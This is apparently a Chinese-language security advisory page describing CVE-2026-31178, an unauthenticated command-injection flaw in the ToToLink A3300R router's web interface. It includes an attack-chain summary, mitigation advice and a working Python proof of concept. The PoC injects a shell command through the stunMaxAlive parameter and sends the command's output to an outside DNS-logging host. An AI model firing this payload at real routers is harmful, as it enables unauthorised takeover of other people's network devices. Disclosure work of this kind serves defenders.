IPBUF安全漏洞报告
English
CVE-2026-31178 CVSS 9.8 严重

CVE-2026-31178 ToToLink A3300R 远程命令执行漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-31178
漏洞类型
远程命令执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ToToLink A3300R

相关标签

RCE命令注入IoT路由器漏洞ToToLinkCVE-2026-31178

漏洞概述

ToToLink A3300R路由器在固件版本v17.0.0cu.557_B20221024中存在严重的远程命令执行漏洞。由于/cgi-bin/cstecgi.cgi接口对stunMaxAlive参数缺乏有效的过滤,远程攻击者无需身份认证即可构造恶意请求注入并执行任意系统命令。该漏洞CVSS评分高达9.8,攻击成功后可完全控制设备,造成数据泄露、服务中断等严重后果。

技术细节

该漏洞位于ToToLink A3300R路由器的Web管理接口/cgi-bin/cstecgi.cgi中。具体而言,当处理包含stunMaxAlive参数的请求时,后端CGI程序未对该参数值进行严格的边界检查或特殊字符过滤,直接将其拼接至系统命令中执行。攻击者可以利用Shell元字符(如分号;、管道符|或反引号`)闭合原有命令结构,从而注入任意操作系统指令。由于该接口未设置认证门槛(PR:N),攻击者只需向目标设备发送特制的HTTP数据包,即可在目标系统上以Root权限执行命令,获取设备完全控制权,进一步植入后门或发起横向攻击。

攻击链分析

STEP 1
1. 信息收集
扫描网络识别暴露的ToToLink A3300R设备及其固件版本。
STEP 2
2. 构造载荷
利用Shell元字符(如;)在stunMaxAlive参数中拼接恶意命令。
STEP 3
3. 发送请求
向目标设备的/cgi-bin/cstecgi.cgi接口发送特制的HTTP POST/GET请求。
STEP 4
4. 命令执行
设备后端解析参数并执行注入的系统命令,攻击者获得设备控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Vulnerable parameter: stunMaxAlive # Injecting a command to ping a controlled domain to verify RCE payload = "; ping `whoami`.burrto.dnslog.cn" data = { "topicurl": "setStunCfg", "stunMaxAlive": payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Send POST request response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") print("[+] Check your DNS logs to verify command execution.") except Exception as e: print(f"[-] Error: {e}")

影响范围

ToToLink A3300R v17.0.0cu.557_B20221024

防御指南

临时缓解措施
若无法立即升级固件,建议关闭路由器的远程Web管理功能,仅通过本地局域网访问管理页面,或通过访问控制列表(ACL)限制仅信任的IP地址可以访问/cgi-bin/路径,以阻断利用条件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表